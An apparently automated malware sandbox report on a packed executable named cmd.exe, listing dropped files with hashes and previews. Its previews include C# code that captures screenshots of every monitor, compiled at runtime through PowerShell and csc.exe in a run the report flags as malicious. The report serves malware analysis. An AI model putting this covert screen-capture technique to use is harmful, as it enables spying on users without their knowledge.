Entropy (8bit):	7.987175768019268
Encrypted:	false
SSDEEP:	6144:PudZUEjoXwDrGv4qJBd4R0u3FIp6O4LMHS+OsfW/+vzoFZ:EGEjyirGd+f3FIp7eMHS+CUUr
MD5:	7A462A10AA1495CEF8BFCA406FB3637E
SHA1:	6DCBD46198B89EF3007C76DEB42AB10BA4C4CF40
SHA-256:	459BCA991FCB88082D49D22CC6EBFFE37381A5BD3EFCC77C5A52F7A4BB3184C0
SHA-512:	D2B7C6997B4BD390257880A6F3336E88D1DD7159049811F8D7C54E3623E9B033E18E8922422869C81DE72FC8C10890C173D8A958D192DD03BFC57CFFAEA1AC7B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......0...t..t..t..}...r..;...v..;...y..;...\|..;...w.....w......v..t..%.....u.....u...y.u.....u..Richt..........PE..d...(..c.........." ...".P..........@V... ................................................`..........................................{..X....y.......p..........<............{......................................@b..@...........................................UPX0....................................UPX1.....P... ...D..................@....rsrc........p.......H..............@..............................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_00lnsnrw.104.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_03gmiwaj.5cd.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_35q3qhre.ezq.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3xq1ea1w.u4r.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3zycxuos.yem.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5emimdkq.c3i.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fnvikn35.ec1.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_h3movln3.it1.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hry1hnuh.zfx.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kuxnukag.a0a.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mujgvvjl.q2h.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mzfxak4x.mw3.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_n21kmoya.db2.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_n5svi5rr.o0h.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_soq1sj2s.4go.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uivz5zqo.gbh.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uxugwe03.hyz.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vq4lqnd1.aiy.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wkkjtubl.kzz.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xkomwbn5.ljd.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\bcdu5fii\CSC91B7380AF2C2414A909984B12C6688DE.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.093490431917851
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gry6G5ak7YnqqfGOPN5Dlq5J:+RI+ycuZhNc+akSffPNnqX
MD5:	FA4EA160D5CB4B9E7C12F49128BFB617
SHA1:	DA3A8EE291D4D435B78F83A1ABCE4C1724595846
SHA-256:	40B753643CF8574332B04D35650BD279AB03528BD41D63B86F8736C2E083A562
SHA-512:	5A71BDD2D8BA84F0C8CD5C01AC6EBB305A30544DDCFC6FA5FF710377F220A58A2D17205C31DCA6348490945D308C4098A61C7E60729D7022D8F5000B0212BD46
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...b.c.d.u.5.f.i.i...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...b.c.d.u.5.f.i.i...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\bcdu5fii\bcdu5fii.0.cs

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1004
Entropy (8bit):	4.154581034278981
Encrypted:	false
SSDEEP:	24:Jo4KMz04F03wykl4qk6oAuBGOUBrRmLW+7UCPa:Jo4hz0BAl4xBQ0XQCC
MD5:	C76055A0388B713A1EABE16130684DC3
SHA1:	EE11E84CF41D8A43340F7102E17660072906C402
SHA-256:	8A3CD008E86A3D835F55F8415F5FD264C6DACDF0B7286E6854EA3F5A363390E7
SHA-512:	22D2804491D90B03BB4B640CB5E2A37D57766C6D82CAF993770DCF2CF97D0F07493C870761F3ECEA15531BD434B780E13AE065A1606681B32A77DBF6906FB4E2
Malicious:	false
Preview:	.using System;..using System.Collections.Generic;..using System.Drawing;..using System.Windows.Forms;....public class Screenshot..{.. public static List<Bitmap> CaptureScreens().. {.. var results = new List<Bitmap>();.. var allScreens = Screen.AllScreens;.... foreach (Screen screen in allScreens).. {.. try.. {.. Rectangle bounds = screen.Bounds;.. using (Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height)).. {.. using (Graphics graphics = Graphics.FromImage(bitmap)).. {.. graphics.CopyFromScreen(new Point(bounds.Left, bounds.Top), Point.Empty, bounds.Size);.. }.... results.Add((Bitmap)bitmap.Clone());.. }.. }.. catch (Exception).. {.. // Handle any exceptions here.. }.. }.... return results;..

C:\Users\user\AppData\Local\Temp\bcdu5fii\bcdu5fii.cmdline

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (604), with no line terminators
Category:	dropped
Size (bytes):	607
Entropy (8bit):	5.323271795325248
Encrypted:	false
SSDEEP:	12:p37Lvkmb6KOkqe1xBkrk+ikOfM2qWZEifM2dxn:V3ka6KOkqeFkOffEifJx
MD5:	2280EE757C74153BC79BEC1678B4D4FE
SHA1:	ED8631FD218B66FECFEEE936CB9AA49FF3F353CE
SHA-256:	C4C66724391147784DBB6EE4690F7DF0B1A04718D0953BD59E29810CA27F97DF
SHA-512:	3D9477802D0866F8495E5B55C59FA722055B872787313D229AEB4F13C1FE2AE08AB5CF55A030AEBCB07274703EEF5E2E4A9C800246364FD5113FA3A451781983
Malicious:	true
Preview:	./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll" /out:"C:\Users\user\AppData\Local\Temp\bcdu5fii\bcdu5fii.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\bcdu5fii\bcdu5fii.0.cs"

C:\Users\user\AppData\Local\Temp\bcdu5fii\bcdu5fii.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	3.155698291019072
Encrypted:	false
SSDEEP:	48:657oEAtf0KhzBU/pf6mtJ7mN0CDpW1ulc+a3f9q:HNz04mjmO6K+Kf
MD5:	9F056B4E6B2FFE4BF190CC59DE0A1D81
SHA1:	C5F4DB30964C4EF48B3C589C10896D1E7028F291
SHA-256:	14ED91645AAC7B2C8A7030C97277A6045693A6A18693403C265E1DFC163322D2
SHA-512:	5A771F627B7C714EF5A50351A1E348BE70A62DFEFCC9205E4BA648D3833B0EBB803F10B541E5D4B19196D0C646A54BE47D813D343AF75A644E1E2E3199562203
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...I=Bg...........!.................&... ...@....... ....................................@..................................%..K....@.......................`....................................................... ............... ..H............text...$.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................&......H.......<!...............................................................0..........s.....(...........8...........o.......(......(....s........(..........(......(....s....~......(....o........,...o........o....t....o........,...o.......&.....X.......i?k.......(....B.(j........9.Q...........{.........(....BSJB............v4.0.30319......l.......#~..........#Strings............#US.........#GUID...........#Blob...........G.........%3............................................

C:\Users\user\AppData\Local\Temp\bcdu5fii\bcdu5fii.out

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (708), with CRLF, CR line terminators
Category:	modified
Size (bytes):	1148
Entropy (8bit):	5.4963940007946865
Encrypted:	false
SSDEEP:	24:KJfIId3ka6KOkqeFkOffEifJUKax5DqBVKVrdFAMBJTH:uIkka6NkqeFkyfEuJUK2DcVKdBJj
MD5:	4DC05C530E556E36978FE5CF3E6B4DF2
SHA1:	DCC095A91D74A473F3FCBAFD5D5869EB2AB377FF
SHA-256:	DE9233F53BCC6E2D806FDE0FF00E99F4FB5793736CFB2DD2A4065AC458D16884
SHA-512:	9CDCAB3F42090BD863D86741E2F5A60B30DFB5AC9AFF8A26D2045D07705E8CF1E06D9B455D2751F2FD94EA9D5A80FBEEED7BBCF494F368C5110FDB6C19FD4925
Malicious:	false
Preview:	.C:\Users\user\AppData\Local\Temp\..........> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll" /out:"C:\Users\user\AppData\Local\Temp\bcdu5fii\bcdu5fii.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\bcdu5fii\bcdu5fii.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

\Device\ConDrv

Download File

Process:	C:\Program Files\Windows Defender\MpCmdRun.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.331807756485642
Encrypted:	false
SSDEEP:	3:lyAZFXZDLsFzAXmZrCZDL4QXAVJK4v:lyqBtoJAXmoZDL4CA1v
MD5:	195D02DA13D597A52F848A9B28D871F6
SHA1:	D048766A802C61655B9689E953103236EACCB1C7
SHA-256:	ADE5C28A2B27B13EFB1145173481C1923CAF78648E49205E7F412A2BEFC7716A
SHA-512:	1B9EDA54315B0F8DB8E43EC6E78996464A90E84DE721611647E8395DBE259C282F06FB6384B08933F8F0B452B42E23EE5A7439974ACC5F53DAD64B08D39F4146
Malicious:	false
Preview:	..Service Version: 0.0.0.0..Engine Version: 0.0.0.0....No engine/signature is currently loaded...

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	7.989769456024753
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	cmd.exe
File size:	6'263'156 bytes
MD5:	b2fe874c2e11c56edf05c5250a8c966f
SHA1:	06d6e28c3cb46e06195a5f8c360d8eeaddfb1c06
SHA256:	255113355555cad23594618b606e851b38bcf588d902ec2678bb893582a90a4f
SHA512:	915ec47beaf9a572c135fe0ddcccf2bb18b6620dcaf9fc8069436e4fe8d3dce15424c3043b45668c7c4f81e513bb731d7bd310eacea6ea1e01cb019b1cc71b90
SSDEEP:	98304:skEtdFBCm/I5NamaHl3Ne4i3gmtfXJOLhx9fZAzDJ4wzQgsRuGK4RxOnAKuP/ty/:szFIm/PeN/FJMIDJf0gsAGK4R0nAKuXq
TLSH:	7E563370279409E1FDBA463EC866C84AC1B0FC050764DE8B136492BA2F33B555E7FB96
